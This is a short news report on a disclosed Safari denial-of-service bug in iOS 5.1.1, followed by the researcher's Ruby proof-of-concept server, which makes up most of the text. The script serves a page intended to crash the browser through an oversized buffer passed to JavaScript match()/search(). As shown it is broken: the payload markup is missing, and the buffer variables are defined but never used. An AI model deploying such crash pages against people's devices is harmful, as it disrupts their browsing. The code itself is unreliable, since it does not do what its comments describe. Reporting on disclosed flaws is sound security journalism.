A denial of service attack has been disclosed in the latest version of Apple iOS.
The attack targets Safari in iOS 5.1.1 and a proof of concept was published online.
Alienvault security researcher Alberto Ortega said the attack may also affect previous versions of the Apple operating system.
The attack was successfully demonstrated on iPhone, iPad and iPod Touch.
Ortega told SC Magazine the error was a "step to achieve a real exploitation".
"iOS has a lot of mitigations to avoid successful exploitation," Ortega said. "This software has errors and holes but you will need to bypass those hard mitigations and find more weaknesses to have something "usable'."
Ortega reported the error to Apple at the time of disclosure but had no response from the notoriously security silent company.
“When JavaScript function match() gets a big buffer as parameter the browser unexpectedly crashes. By extension, the function search() is affected too,” Ortega said in the advisory.
require "socket"
require "optparse"
# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.
buffer_len = 925000
# Magic packet
body = "\
\n\
Crash PoC\n\
\n\
";
def help()
puts "iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC"
puts "#{$0} -p bind_port [-h bind_address] [--verbose]"
end
# Parsing options
opts = {}
optparser = OptionParser.new do |op|
op.on("-h", "--host HOST") do |p|
opts["host"] = p
end
op.on("-p", "--port PORT") do |p|
opts["port"] = p
end
op.on("-v", "--verbose") do |p|
opts["verbose"] = true
end
end
begin
optparser.parse!
rescue
help()
exit 1
end
if (opts.length == 0 || opts["port"] == nil)
help()
exit 1
end
if (opts["verbose"] != nil)
debug = true
else
debug = false
end
if (opts["host"] != nil)
host = opts["host"]
else
host = "0.0.0.0"
end
port = opts["port"]
# Building server
if debug
puts "Buffer -> #{chr}*#{buffer_len}"
end
begin
serv = TCPServer.new(host, port)
puts "Listening on #{host}:#{port.to_s} ..."
rescue
puts "Error listening on #{host}:#{port.to_s}"
exit 1
end
begin
s = serv.accept()
if debug
puts "Client connected, waiting petition ..."
end
data = s.recv(1000)
if debug
puts "Sending crafted packet ..."
end
s.print(body)
if debug
puts "Closing connection ..."
end
s.close()
puts "Done!"
rescue
puts "Error sending data"
exit 1
end
